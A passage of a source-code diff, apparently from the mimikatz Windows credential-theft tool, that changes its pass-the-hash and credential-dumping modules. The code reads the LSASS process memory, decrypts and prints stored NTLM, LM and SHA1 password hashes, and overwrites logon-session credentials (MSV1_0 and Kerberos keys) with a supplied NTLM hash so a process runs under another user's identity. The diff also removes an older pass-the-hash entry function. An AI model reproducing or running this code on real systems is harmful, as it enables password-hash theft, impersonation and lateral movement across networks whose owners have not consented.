kprintf(L"\t %4i : ", pHashPassword->Type); kprintf(L"\t%s : ", kuhl_m_kerberos_ticket_etype(pHashPassword->Type));
buffer.Buffer = (PWSTR) pHashPassword->Checksump; if(buffer.Length = buffer.MaximumLength = (USHORT) pHashPassword->Size)
buffer.Length = buffer.MaximumLength = (USHORT) ((pHashPassword->Size) ? pHashPassword->Size : LM_NTLM_HASH_LENGTH); // will not use CDLocateCSystem, sorry!
if(kull_m_string_getUnicodeString(&buffer, cLsass.hLsassMem))
{ {
if(!(flags & KUHL_SEKURLSA_CREDS_DISPLAY_NODECRYPT)/* && *lsassLocalHelper->pLsaUnprotectMemory*/) buffer.Buffer = (PWSTR) pHashPassword->Checksump;
(*lsassLocalHelper->pLsaUnprotectMemory)(buffer.Buffer, buffer.MaximumLength); if(kull_m_string_getUnicodeString(&buffer, cLsass.hLsassMem))
kull_m_string_wprintf_hex(buffer.Buffer, buffer.Length, 0); {
LocalFree(buffer.Buffer); if(!(flags & KUHL_SEKURLSA_CREDS_DISPLAY_NODECRYPT)/* && *lsassLocalHelper->pLsaUnprotectMemory*/)
(*lsassLocalHelper->pLsaUnprotectMemory)(buffer.Buffer, buffer.MaximumLength);
kull_m_string_wprintf_hex(buffer.Buffer, buffer.Length, 0);
LocalFree(buffer.Buffer);
}
} }
else kprintf(L"<no size, buffer is incorrect>");
kprintf(L"\n"); kprintf(L"\n");
} }
else else

View File

@ -65,6 +65,7 @@ VOID kuhl_m_sekurlsa_genericKeyOutput(struct _MARSHALL_KEY * key, PVOID * dirtyB
NTSTATUS kuhl_m_sekurlsa_all(int argc, wchar_t * argv[]); NTSTATUS kuhl_m_sekurlsa_all(int argc, wchar_t * argv[]);
NTSTATUS kuhl_m_sekurlsa_strings(int argc, wchar_t * argv[]); NTSTATUS kuhl_m_sekurlsa_strings(int argc, wchar_t * argv[]);
NTSTATUS kuhl_m_sekurlsa_pth(int argc, wchar_t * argv[]);
NTSTATUS kuhl_m_sekurlsa_process(int argc, wchar_t * argv[]); NTSTATUS kuhl_m_sekurlsa_process(int argc, wchar_t * argv[]);
NTSTATUS kuhl_m_sekurlsa_minidump(int argc, wchar_t * argv[]); NTSTATUS kuhl_m_sekurlsa_minidump(int argc, wchar_t * argv[]);

View File

@ -219,13 +219,14 @@ void CALLBACK kuhl_m_sekurlsa_enum_kerberos_callback_keys(IN PKIWI_BASIC_SECURIT
void CALLBACK kuhl_m_sekurlsa_enum_kerberos_callback_pth(IN PKIWI_BASIC_SECURITY_LOGON_SESSION_DATA pData, IN KULL_M_MEMORY_ADDRESS Localkerbsession, IN KULL_M_MEMORY_ADDRESS RemoteLocalKerbSession, IN OPTIONAL LPVOID pOptionalData) void CALLBACK kuhl_m_sekurlsa_enum_kerberos_callback_pth(IN PKIWI_BASIC_SECURITY_LOGON_SESSION_DATA pData, IN KULL_M_MEMORY_ADDRESS Localkerbsession, IN KULL_M_MEMORY_ADDRESS RemoteLocalKerbSession, IN OPTIONAL LPVOID pOptionalData)
{ {
PMSV1_0_PTH_DATA pthData = (PMSV1_0_PTH_DATA) pOptionalData; PSEKURLSA_PTH_DATA pthData = (PSEKURLSA_PTH_DATA) pOptionalData;
DWORD i, nbHash; DWORD i, nbHash;
BYTE ntlmHash[LM_NTLM_HASH_LENGTH]; BYTE ntlmHash[LM_NTLM_HASH_LENGTH];
UNICODE_STRING nullPasswd = {0, 0, NULL}; UNICODE_STRING nullPasswd = {0, 0, NULL};
KULL_M_MEMORY_ADDRESS aLocalKeyMemory = {NULL, Localkerbsession.hMemory}, aLocalHashMemory = {NULL, Localkerbsession.hMemory}, aLocalNTLMMemory = {NULL, Localkerbsession.hMemory}, aLocalPasswdMemory = {&nullPasswd, Localkerbsession.hMemory}, aRemotePasswdMemory = {(PBYTE) RemoteLocalKerbSession.address + kerbHelper[KerbOffsetIndex].offsetCreds + FIELD_OFFSET(KIWI_GENERIC_PRIMARY_CREDENTIAL, Password), RemoteLocalKerbSession.hMemory}; KULL_M_MEMORY_ADDRESS aLocalKeyMemory = {NULL, Localkerbsession.hMemory}, aLocalHashMemory = {NULL, Localkerbsession.hMemory}, aLocalNTLMMemory = {NULL, Localkerbsession.hMemory}, aLocalPasswdMemory = {&nullPasswd, Localkerbsession.hMemory}, aRemotePasswdMemory = {(PBYTE) RemoteLocalKerbSession.address + kerbHelper[KerbOffsetIndex].offsetCreds + FIELD_OFFSET(KIWI_GENERIC_PRIMARY_CREDENTIAL, Password), RemoteLocalKerbSession.hMemory};
PKERB_HASHPASSWORD_GENERIC pHash; PKERB_HASHPASSWORD_GENERIC pHash;
PBYTE baseCheck; PBYTE baseCheck;
PCWCHAR resultok;
SIZE_T offset; SIZE_T offset;
if(RemoteLocalKerbSession.address = *(PVOID *) ((PBYTE) Localkerbsession.address + kerbHelper[KerbOffsetIndex].offsetKeyList)) if(RemoteLocalKerbSession.address = *(PVOID *) ((PBYTE) Localkerbsession.address + kerbHelper[KerbOffsetIndex].offsetKeyList))
@ -236,47 +237,52 @@ void CALLBACK kuhl_m_sekurlsa_enum_kerberos_callback_pth(IN PKIWI_BASIC_SECURITY
{ {
if(nbHash = ((DWORD *)(aLocalKeyMemory.address))[1]) if(nbHash = ((DWORD *)(aLocalKeyMemory.address))[1])
{ {
RtlCopyMemory(ntlmHash, pthData->NtlmHash, LM_NTLM_HASH_LENGTH);
if(pData->cLsass->osContext.BuildNumber >= KULL_M_WIN_BUILD_VISTA)
(*pData->lsassLocalHelper->pLsaProtectMemory)(ntlmHash, LM_NTLM_HASH_LENGTH);
RemoteLocalKerbSession.address = baseCheck = (PBYTE) RemoteLocalKerbSession.address + kerbHelper[KerbOffsetIndex].structKeyListSize; RemoteLocalKerbSession.address = baseCheck = (PBYTE) RemoteLocalKerbSession.address + kerbHelper[KerbOffsetIndex].structKeyListSize;
i = nbHash * (DWORD) kerbHelper[KerbOffsetIndex].structKeyPasswordHashSize; i = nbHash * (DWORD) kerbHelper[KerbOffsetIndex].structKeyPasswordHashSize;
if(aLocalHashMemory.address = LocalAlloc(LPTR, i)) if(aLocalHashMemory.address = LocalAlloc(LPTR, i))
{ {
if(kull_m_memory_copy(&aLocalHashMemory, &RemoteLocalKerbSession, i)) if(kull_m_memory_copy(&aLocalHashMemory, &RemoteLocalKerbSession, i))
{ {
kprintf(L"Data copy Kerberos @ %p (%u hash) :", RemoteLocalKerbSession.address, nbHash); kprintf(L"data copy @ %p", RemoteLocalKerbSession.address, nbHash);
for(i = 0, pthData->isReplaceOk = TRUE; (i < nbHash) && pthData->isReplaceOk; i++) for(i = 0, pthData->isReplaceOk = TRUE; (i < nbHash) && pthData->isReplaceOk; i++)
{ {
kprintf(L" ");
offset = i * kerbHelper[KerbOffsetIndex].structKeyPasswordHashSize + kerbHelper[KerbOffsetIndex].offsetHashGeneric; offset = i * kerbHelper[KerbOffsetIndex].structKeyPasswordHashSize + kerbHelper[KerbOffsetIndex].offsetHashGeneric;
pHash = (PKERB_HASHPASSWORD_GENERIC) ((PBYTE) aLocalHashMemory.address + offset); pHash = (PKERB_HASHPASSWORD_GENERIC) ((PBYTE) aLocalHashMemory.address + offset);
kprintf(L"\n \\_ %s ", kuhl_m_kerberos_ticket_etype(pHash->Type));
if((pHash->Type == KERB_ETYPE_AES128_CTS_HMAC_SHA1_96) || (pHash->Type == KERB_ETYPE_AES256_CTS_HMAC_SHA1_96)) if((pHash->Size == LM_NTLM_HASH_LENGTH) && (pHash->Type != KERB_ETYPE_AES256_CTS_HMAC_SHA1_96) && (pHash->Type != KERB_ETYPE_AES128_CTS_HMAC_SHA1_96))
{
aLocalNTLMMemory.address = ntlmHash;
RemoteLocalKerbSession.address = pHash->Checksump;
offset = LM_NTLM_HASH_LENGTH;
resultok = L"OK";
}
else
{ {
kprintf(L"-");
pHash->Type = KERB_ETYPE_RC4_HMAC_NT;
pHash->Size = LM_NTLM_HASH_LENGTH;
aLocalNTLMMemory.address = pHash; aLocalNTLMMemory.address = pHash;
RemoteLocalKerbSession.address = baseCheck + offset; RemoteLocalKerbSession.address = baseCheck + offset;
if(pthData->isReplaceOk = kull_m_memory_copy(&RemoteLocalKerbSession, &aLocalNTLMMemory, FIELD_OFFSET(KERB_HASHPASSWORD_GENERIC, Checksump))) offset = FIELD_OFFSET(KERB_HASHPASSWORD_GENERIC, Checksump);
kprintf(L">"); resultok = kuhl_m_kerberos_ticket_etype(KERB_ETYPE_NULL);
else PRINT_ERROR_AUTO(L"kull_m_memory_copy");
pHash->Type = KERB_ETYPE_NULL;
pHash->Size = 0;
kprintf(L"-> ");
} }
aLocalNTLMMemory.address = ntlmHash; if(pthData->isReplaceOk = kull_m_memory_copy(&RemoteLocalKerbSession, &aLocalNTLMMemory, offset))
RemoteLocalKerbSession.address = pHash->Checksump; kprintf(L"%s", resultok);
RtlCopyMemory(aLocalNTLMMemory.address, pthData->NtlmHash, LM_NTLM_HASH_LENGTH);
if(pData->cLsass->osContext.BuildNumber >= KULL_M_WIN_BUILD_VISTA)
(*pData->lsassLocalHelper->pLsaProtectMemory)(aLocalNTLMMemory.address, LM_NTLM_HASH_LENGTH);
if(pthData->isReplaceOk = kull_m_memory_copy(&RemoteLocalKerbSession, &aLocalNTLMMemory, min(pHash->Size, LM_NTLM_HASH_LENGTH))) // ok not fair-play with AES-* and old CRC =)
kprintf(L"%u", i+1);
else PRINT_ERROR_AUTO(L"kull_m_memory_copy"); else PRINT_ERROR_AUTO(L"kull_m_memory_copy");
} }
if(pthData->isReplaceOk && ((PKIWI_GENERIC_PRIMARY_CREDENTIAL) ((PBYTE) Localkerbsession.address + kerbHelper[KerbOffsetIndex].offsetCreds))->Password.Buffer) if(pthData->isReplaceOk && ((PKIWI_GENERIC_PRIMARY_CREDENTIAL) ((PBYTE) Localkerbsession.address + kerbHelper[KerbOffsetIndex].offsetCreds))->Password.Buffer)
{ {
kprintf(L" "); kprintf(L"\n \\_ *Password replace -> ");
if(pthData->isReplaceOk = kull_m_memory_copy(&aRemotePasswdMemory, &aLocalPasswdMemory, sizeof(UNICODE_STRING))) if(pthData->isReplaceOk = kull_m_memory_copy(&aRemotePasswdMemory, &aLocalPasswdMemory, sizeof(UNICODE_STRING)))
kprintf(L"OK!", aRemotePasswdMemory.address); kprintf(L"null", aRemotePasswdMemory.address);
else PRINT_ERROR_AUTO(L"kull_m_memory_copy"); else PRINT_ERROR_AUTO(L"kull_m_memory_copy");
} }
} }
@ -291,7 +297,7 @@ void CALLBACK kuhl_m_sekurlsa_enum_kerberos_callback_pth(IN PKIWI_BASIC_SECURITY
BOOL CALLBACK kuhl_m_sekurlsa_enum_callback_kerberos_pth(IN PKIWI_BASIC_SECURITY_LOGON_SESSION_DATA pData, IN OPTIONAL LPVOID pOptionalData) BOOL CALLBACK kuhl_m_sekurlsa_enum_callback_kerberos_pth(IN PKIWI_BASIC_SECURITY_LOGON_SESSION_DATA pData, IN OPTIONAL LPVOID pOptionalData)
{ {
PMSV1_0_PTH_DATA pthData = (PMSV1_0_PTH_DATA) pOptionalData; PSEKURLSA_PTH_DATA pthData = (PSEKURLSA_PTH_DATA) pOptionalData;
KIWI_KERBEROS_ENUM_DATA data = {kuhl_m_sekurlsa_enum_kerberos_callback_pth, pthData}; KIWI_KERBEROS_ENUM_DATA data = {kuhl_m_sekurlsa_enum_kerberos_callback_pth, pthData};
if(RtlEqualLuid(pData->LogonId, pthData->LogonId)) if(RtlEqualLuid(pData->LogonId, pthData->LogonId))
{ {

View File

@ -46,12 +46,16 @@ BOOL CALLBACK kuhl_m_sekurlsa_msv_enum_cred_callback_pth(IN PKIWI_MSV1_0_PRIMARY
{ {
(*pthDataCred->pSecData->lsassLocalHelper->pLsaUnprotectMemory)(pPrimaryCreds, pCredentials->Credentials.Length); (*pthDataCred->pSecData->lsassLocalHelper->pLsaUnprotectMemory)(pPrimaryCreds, pCredentials->Credentials.Length);
RtlZeroMemory(pPrimaryCreds->LmOwfPassword, LM_NTLM_HASH_LENGTH); RtlZeroMemory(pPrimaryCreds->LmOwfPassword, LM_NTLM_HASH_LENGTH);
pPrimaryCreds->isLmOwfPassword = FALSE;
RtlCopyMemory(pPrimaryCreds->NtOwfPassword, pthDataCred->pthData->NtlmHash, LM_NTLM_HASH_LENGTH); RtlCopyMemory(pPrimaryCreds->NtOwfPassword, pthDataCred->pthData->NtlmHash, LM_NTLM_HASH_LENGTH);
pPrimaryCreds->isNtOwfPassword = TRUE;
RtlZeroMemory(pPrimaryCreds->ShaOwPassword, SHA_DIGEST_LENGTH);
pPrimaryCreds->isShaOwPassword = FALSE;
RtlCopyMemory((PBYTE) pPrimaryCreds + (ULONG_PTR) pPrimaryCreds->UserName.Buffer, pthDataCred->pthData->UserName, pPrimaryCreds->UserName.Length); RtlCopyMemory((PBYTE) pPrimaryCreds + (ULONG_PTR) pPrimaryCreds->UserName.Buffer, pthDataCred->pthData->UserName, pPrimaryCreds->UserName.Length);
RtlCopyMemory((PBYTE) pPrimaryCreds + (ULONG_PTR) pPrimaryCreds->LogonDomainName.Buffer, pthDataCred->pthData->LogonDomain, pPrimaryCreds->LogonDomainName.Length); RtlCopyMemory((PBYTE) pPrimaryCreds + (ULONG_PTR) pPrimaryCreds->LogonDomainName.Buffer, pthDataCred->pthData->LogonDomain, pPrimaryCreds->LogonDomainName.Length);
(*pthDataCred->pSecData->lsassLocalHelper->pLsaProtectMemory)(pPrimaryCreds, pCredentials->Credentials.Length); (*pthDataCred->pSecData->lsassLocalHelper->pLsaProtectMemory)(pPrimaryCreds, pCredentials->Credentials.Length);
kprintf(L"Data copy MSV1_0 @ %p : ", origBufferAddress->address); kprintf(L"data copy @ %p : ", origBufferAddress->address);
if(pthDataCred->pthData->isReplaceOk = kull_m_memory_copy(origBufferAddress, &aLocalMemory, pCredentials->Credentials.Length)) if(pthDataCred->pthData->isReplaceOk = kull_m_memory_copy(origBufferAddress, &aLocalMemory, pCredentials->Credentials.Length))
kprintf(L"OK !"); kprintf(L"OK !");
else PRINT_ERROR_AUTO(L"kull_m_memory_copy"); else PRINT_ERROR_AUTO(L"kull_m_memory_copy");
@ -63,7 +67,7 @@ BOOL CALLBACK kuhl_m_sekurlsa_msv_enum_cred_callback_pth(IN PKIWI_MSV1_0_PRIMARY
BOOL CALLBACK kuhl_m_sekurlsa_enum_callback_msv_pth(IN PKIWI_BASIC_SECURITY_LOGON_SESSION_DATA pData, IN OPTIONAL LPVOID pOptionalData) BOOL CALLBACK kuhl_m_sekurlsa_enum_callback_msv_pth(IN PKIWI_BASIC_SECURITY_LOGON_SESSION_DATA pData, IN OPTIONAL LPVOID pOptionalData)
{ {
PMSV1_0_PTH_DATA pthData = (PMSV1_0_PTH_DATA) pOptionalData; PSEKURLSA_PTH_DATA pthData = (PSEKURLSA_PTH_DATA) pOptionalData;
MSV1_0_PTH_DATA_CRED credData = {pData, pthData}; MSV1_0_PTH_DATA_CRED credData = {pData, pthData};
if(RtlEqualLuid(pData->LogonId, pthData->LogonId)) if(RtlEqualLuid(pData->LogonId, pthData->LogonId))
@ -74,71 +78,6 @@ BOOL CALLBACK kuhl_m_sekurlsa_enum_callback_msv_pth(IN PKIWI_BASIC_SECURITY_LOGO
else return TRUE; else return TRUE;
} }
NTSTATUS kuhl_m_sekurlsa_msv_pth(int argc, wchar_t * argv[])
{
BYTE ntlm[LM_NTLM_HASH_LENGTH] = {0};
TOKEN_STATISTICS tokenStats;
MSV1_0_PTH_DATA data = {&(tokenStats.AuthenticationId), NULL, NULL, ntlm, FALSE};
PCWCHAR szRun, szNTLM;
DWORD i, j, dwNeededSize;
HANDLE hToken;
PROCESS_INFORMATION processInfos;
if(kull_m_string_args_byName(argc, argv, L"user", &data.UserName, NULL))
{
if(kull_m_string_args_byName(argc, argv, L"domain", &data.LogonDomain, NULL))
{
if(kull_m_string_args_byName(argc, argv, L"ntlm", &szNTLM, NULL))
{
kull_m_string_args_byName(argc, argv, L"run", &szRun, L"cmd.exe");
if(wcslen(szNTLM) == (LM_NTLM_HASH_LENGTH * 2))
{
for(i = 0; i < LM_NTLM_HASH_LENGTH; i++)
{
swscanf_s(&szNTLM[i*2], L"%02x", &j);
ntlm[i] = (BYTE) j;
}
kprintf(L"NTLM\t: "); kull_m_string_wprintf_hex(data.NtlmHash, LM_NTLM_HASH_LENGTH, 0); kprintf(L"\n");
kprintf(L"Program\t: %s\n", szRun);
if(kull_m_process_create(KULL_M_PROCESS_CREATE_LOGON, szRun, CREATE_SUSPENDED, NULL, LOGON_NETCREDENTIALS_ONLY, data.UserName, data.LogonDomain, L"", &processInfos, FALSE))
{
kprintf(
L" | PID %u\n"
L" | TID %u\n",
processInfos.dwProcessId, processInfos.dwThreadId);
if(OpenProcessToken(processInfos.hProcess, TOKEN_READ, &hToken))
{
if(GetTokenInformation(hToken, TokenStatistics, &tokenStats, sizeof(tokenStats), &dwNeededSize))
{
kprintf(L" | LUID %u ; %u (%08x:%08x)\n", tokenStats.AuthenticationId.HighPart, tokenStats.AuthenticationId.LowPart, tokenStats.AuthenticationId.HighPart, tokenStats.AuthenticationId.LowPart);
kprintf(L" \\_ ");
kuhl_m_sekurlsa_enum(kuhl_m_sekurlsa_enum_callback_msv_pth, &data);
kprintf(L"\n");
if(data.isReplaceOk)
{
kprintf(L" \\_ ");
kuhl_m_sekurlsa_enum(kuhl_m_sekurlsa_enum_callback_kerberos_pth, &data);
kprintf(L"\n");
}
} else PRINT_ERROR_AUTO(L"GetTokenInformation");
CloseHandle(hToken);
} else PRINT_ERROR_AUTO(L"OpenProcessToken");
if(data.isReplaceOk)
NtResumeProcess(processInfos.hProcess);
else
NtTerminateProcess(processInfos.hProcess, STATUS_FATAL_APP_EXIT);
CloseHandle(processInfos.hThread);
CloseHandle(processInfos.hProcess);
} else PRINT_ERROR_AUTO(L"CreateProcessWithLogonW");
} else PRINT_ERROR(L"ntlm hash length must be 32 (16 bytes)\n");
} else PRINT_ERROR(L"Missing argument : ntlm\n");
}
}
return STATUS_SUCCESS;
}
VOID kuhl_m_sekurlsa_msv_enum_cred(IN PKUHL_M_SEKURLSA_CONTEXT cLsass, IN PVOID pCredentials, IN PKUHL_M_SEKURLSA_MSV_CRED_CALLBACK credCallback, IN PVOID optionalData) VOID kuhl_m_sekurlsa_msv_enum_cred(IN PKUHL_M_SEKURLSA_CONTEXT cLsass, IN PVOID pCredentials, IN PKUHL_M_SEKURLSA_MSV_CRED_CALLBACK credCallback, IN PVOID optionalData)
{ {
KIWI_MSV1_0_CREDENTIALS credentials; KIWI_MSV1_0_CREDENTIALS credentials;

View File

@ -10,11 +10,13 @@
typedef struct _MSV1_0_PRIMARY_CREDENTIAL { typedef struct _MSV1_0_PRIMARY_CREDENTIAL {
LSA_UNICODE_STRING LogonDomainName; LSA_UNICODE_STRING LogonDomainName;
LSA_UNICODE_STRING UserName; LSA_UNICODE_STRING UserName;
BYTE NtOwfPassword[LM_NTLM_HASH_LENGTH]; BYTE NtOwfPassword[LM_NTLM_HASH_LENGTH];
BYTE LmOwfPassword[LM_NTLM_HASH_LENGTH]; BYTE LmOwfPassword[LM_NTLM_HASH_LENGTH];
BYTE ShaOwPassword[SHA_DIGEST_LENGTH]; BYTE ShaOwPassword[SHA_DIGEST_LENGTH];
DWORD unknow_01000100; BOOLEAN isNtOwfPassword;
BOOLEAN isLmOwfPassword;
BOOLEAN isShaOwPassword;
/* buffer */ /* buffer */
} MSV1_0_PRIMARY_CREDENTIAL, *PMSV1_0_PRIMARY_CREDENTIAL; } MSV1_0_PRIMARY_CREDENTIAL, *PMSV1_0_PRIMARY_CREDENTIAL;
@ -34,17 +36,9 @@ typedef struct _RPCE_CREDENTIAL_KEYCREDENTIAL {
MARSHALL_KEY key[ANYSIZE_ARRAY]; MARSHALL_KEY key[ANYSIZE_ARRAY];
} RPCE_CREDENTIAL_KEYCREDENTIAL, *PRPCE_CREDENTIAL_KEYCREDENTIAL; } RPCE_CREDENTIAL_KEYCREDENTIAL, *PRPCE_CREDENTIAL_KEYCREDENTIAL;
typedef struct _MSV1_0_PTH_DATA {
PLUID LogonId;
PCWCHAR UserName;
PCWCHAR LogonDomain;
LPBYTE NtlmHash;
BOOL isReplaceOk;
} MSV1_0_PTH_DATA, *PMSV1_0_PTH_DATA;
typedef struct _MSV1_0_PTH_DATA_CRED { typedef struct _MSV1_0_PTH_DATA_CRED {
PKIWI_BASIC_SECURITY_LOGON_SESSION_DATA pSecData; PKIWI_BASIC_SECURITY_LOGON_SESSION_DATA pSecData;
PMSV1_0_PTH_DATA pthData; PSEKURLSA_PTH_DATA pthData;
} MSV1_0_PTH_DATA_CRED, *PMSV1_0_PTH_DATA_CRED; } MSV1_0_PTH_DATA_CRED, *PMSV1_0_PTH_DATA_CRED;
typedef struct _MSV1_0_STD_DATA { typedef struct _MSV1_0_STD_DATA {
@ -55,7 +49,6 @@ typedef BOOL (CALLBACK * PKUHL_M_SEKURLSA_MSV_CRED_CALLBACK) (IN struct _KIWI_MS
KUHL_M_SEKURLSA_PACKAGE kuhl_m_sekurlsa_msv_package; KUHL_M_SEKURLSA_PACKAGE kuhl_m_sekurlsa_msv_package;
NTSTATUS kuhl_m_sekurlsa_msv(int argc, wchar_t * argv[]); NTSTATUS kuhl_m_sekurlsa_msv(int argc, wchar_t * argv[]);
NTSTATUS kuhl_m_sekurlsa_msv_pth(int argc, wchar_t * argv[]);
void CALLBACK kuhl_m_sekurlsa_enum_logon_callback_msv(IN PKIWI_BASIC_SECURITY_LOGON_SESSION_DATA pData); void CALLBACK kuhl_m_sekurlsa_enum_logon_callback_msv(IN PKIWI_BASIC_SECURITY_LOGON_SESSION_DATA pData);
BOOL CALLBACK kuhl_m_sekurlsa_enum_callback_msv_pth(IN PKIWI_BASIC_SECURITY_LOGON_SESSION_DATA pData, IN OPTIONAL LPVOID pOptionalData); BOOL CALLBACK kuhl_m_sekurlsa_enum_callback_msv_pth(IN PKIWI_BASIC_SECURITY_LOGON_SESSION_DATA pData, IN OPTIONAL LPVOID pOptionalData);

View File

@ -21,7 +21,9 @@ typedef struct _MSV1_0_PRIMARY_CREDENTIAL {
BYTE NtOwfPassword[LM_NTLM_HASH_LENGTH]; BYTE NtOwfPassword[LM_NTLM_HASH_LENGTH];
BYTE LmOwfPassword[LM_NTLM_HASH_LENGTH]; BYTE LmOwfPassword[LM_NTLM_HASH_LENGTH];
BYTE ShaOwPassword[SHA_DIGEST_LENGTH]; BYTE ShaOwPassword[SHA_DIGEST_LENGTH];
DWORD unknow_01000100; BOOLEAN isNtOwfPassword;
BOOLEAN isLmOwfPassword;
BOOLEAN isShaOwPassword;
/* buffer */ /* buffer */
} MSV1_0_PRIMARY_CREDENTIAL, *PMSV1_0_PRIMARY_CREDENTIAL; } MSV1_0_PRIMARY_CREDENTIAL, *PMSV1_0_PRIMARY_CREDENTIAL;

View File

@ -213,13 +213,23 @@ VOID kuhl_m_sekurlsa_genericCredsOutput(PKIWI_GENERIC_PRIMARY_CREDENTIAL mesCred
pPrimaryCreds = (PMSV1_0_PRIMARY_CREDENTIAL) credentials->Buffer; pPrimaryCreds = (PMSV1_0_PRIMARY_CREDENTIAL) credentials->Buffer;
kuhl_m_sekurlsa_utils_NlpMakeRelativeOrAbsoluteString(pPrimaryCreds, &pPrimaryCreds->UserName, FALSE); kuhl_m_sekurlsa_utils_NlpMakeRelativeOrAbsoluteString(pPrimaryCreds, &pPrimaryCreds->UserName, FALSE);
kuhl_m_sekurlsa_utils_NlpMakeRelativeOrAbsoluteString(pPrimaryCreds, &pPrimaryCreds->LogonDomainName, FALSE); kuhl_m_sekurlsa_utils_NlpMakeRelativeOrAbsoluteString(pPrimaryCreds, &pPrimaryCreds->LogonDomainName, FALSE);
dprintf("\n\t * Username : %wZ"
"\n\t * Domain : %wZ"
, &pPrimaryCreds->UserName, &pPrimaryCreds->LogonDomainName);
dprintf("\n\t * LM : "); kull_m_string_dprintf_hex(pPrimaryCreds->LmOwfPassword, LM_NTLM_HASH_LENGTH, 0); dprintf("\n\t * Username : %wZ\n\t * Domain : %wZ", &pPrimaryCreds->UserName, &pPrimaryCreds->LogonDomainName);
dprintf("\n\t * NTLM : "); kull_m_string_dprintf_hex(pPrimaryCreds->NtOwfPassword, LM_NTLM_HASH_LENGTH, 0); if(pPrimaryCreds->isLmOwfPassword)
dprintf("\n\t * SHA1 : "); kull_m_string_dprintf_hex(pPrimaryCreds->ShaOwPassword, SHA_DIGEST_LENGTH, 0); {
dprintf("\n\t * LM : ");
kull_m_string_dprintf_hex(pPrimaryCreds->LmOwfPassword, LM_NTLM_HASH_LENGTH, 0);
}
if(pPrimaryCreds->isNtOwfPassword)
{
dprintf("\n\t * NTLM : ");
kull_m_string_dprintf_hex(pPrimaryCreds->NtOwfPassword, LM_NTLM_HASH_LENGTH, 0);
}
if(pPrimaryCreds->isShaOwPassword)
{
dprintf("\n\t * SHA1 : ");
kull_m_string_dprintf_hex(pPrimaryCreds->ShaOwPassword, SHA_DIGEST_LENGTH, 0);
}
break; break;
case KUHL_SEKURLSA_CREDS_DISPLAY_CREDENTIALKEY: case KUHL_SEKURLSA_CREDS_DISPLAY_CREDENTIALKEY:
pRpceCredentialKeyCreds = (PRPCE_CREDENTIAL_KEYCREDENTIAL) credentials->Buffer; pRpceCredentialKeyCreds = (PRPCE_CREDENTIAL_KEYCREDENTIAL) credentials->Buffer;

View File

@ -1,13 +1,40 @@
#include "kull_m_output.h" #include "kull_m_output.h"
FILE * logfile = NULL; FILE * logfile = NULL;
#ifdef _WINDLL
wchar_t * outputBuffer = NULL;
size_t outputBufferElements = 0, outputBufferElementsPosition = 0;
#endif
void kprintf(PCWCHAR format, ...) void kprintf(PCWCHAR format, ...)
{ {
#ifdef _WINDLL
int varBuf;
size_t tempSize;
#endif
va_list args; va_list args;
va_start(args, format); va_start(args, format);
vfwprintf(stdout, format, args); #ifndef _WINDLL
vwprintf(format, args);
fflush(stdout); fflush(stdout);
#else
if(outputBuffer)
{
varBuf = _vscwprintf(format, args);
if(varBuf > 0)
{
if((size_t) varBuf > (outputBufferElements - outputBufferElementsPosition - 1)) // NULL character
{
tempSize = (outputBufferElements + varBuf + 1) * 2; // * 2, just to be cool
if(outputBuffer = (wchar_t *) LocalReAlloc(outputBuffer, tempSize * sizeof(wchar_t), LMEM_MOVEABLE))
outputBufferElements = tempSize;
}
varBuf = vswprintf_s(outputBuffer + outputBufferElementsPosition, outputBufferElements - outputBufferElementsPosition, format, args);
if(varBuf > 0)
outputBufferElementsPosition += varBuf;
}
}
#endif
if(logfile) if(logfile)
vfwprintf(logfile, format, args); vfwprintf(logfile, format, args);
va_end(args); va_end(args);
@ -32,7 +59,7 @@ BOOL kull_m_output_file(PCWCHAR file)
if(file) if(file)
#pragma warning(push) #pragma warning(push)
#pragma warning(disable:4996) #pragma warning(disable:4996)
newlog = _wfopen(file, L"a"); newlog = _wfopen(file, L"a"); // XP does not like _wfopen_s
#pragma warning(pop) #pragma warning(pop)
if(newlog || !file) if(newlog || !file)
{ {

View File

@ -9,6 +9,10 @@
#include <fcntl.h> #include <fcntl.h>
FILE * logfile; FILE * logfile;
#ifdef _WINDLL
wchar_t * outputBuffer;
size_t outputBufferElements, outputBufferElementsPosition;
#endif
void kprintf(PCWCHAR format, ...); void kprintf(PCWCHAR format, ...);
void kprintf_inputline(PCWCHAR format, ...); void kprintf_inputline(PCWCHAR format, ...);

View File

@ -68,6 +68,21 @@ wchar_t * kull_m_string_qad_ansi_c_to_unicode(const char * ansi, SIZE_T szStr)
return buffer; return buffer;
} }
BOOL kull_m_string_stringToHex(IN LPCWCHAR string, IN LPBYTE hex, IN DWORD size)
{
DWORD i, j;
BOOL result = (wcslen(string) == (size * 2));
if(result)
{
for(i = 0; i < size; i++)
{
swscanf_s(&string[i*2], L"%02x", &j);
hex[i] = (BYTE) j;
}
}
return result;
}
PCWCHAR WPRINTF_TYPES[] = PCWCHAR WPRINTF_TYPES[] =
{ {
L"%02x", // WPRINTF_HEX_SHORT L"%02x", // WPRINTF_HEX_SHORT

View File

@ -45,6 +45,7 @@ BOOL kull_m_string_suspectUnicodeString(IN PUNICODE_STRING pUnicodeString);
wchar_t * kull_m_string_qad_ansi_to_unicode(const char * ansi); wchar_t * kull_m_string_qad_ansi_to_unicode(const char * ansi);
wchar_t * kull_m_string_qad_ansi_c_to_unicode(const char * ansi, SIZE_T szStr); wchar_t * kull_m_string_qad_ansi_c_to_unicode(const char * ansi, SIZE_T szStr);
BOOL kull_m_string_stringToHex(IN LPCWCHAR string, IN LPBYTE hex, IN DWORD size);
void kull_m_string_wprintf_hex(LPCVOID lpData, DWORD cbData, DWORD flags); void kull_m_string_wprintf_hex(LPCVOID lpData, DWORD cbData, DWORD flags);
void kull_m_string_displayFileTime(IN PFILETIME pFileTime); void kull_m_string_displayFileTime(IN PFILETIME pFileTime);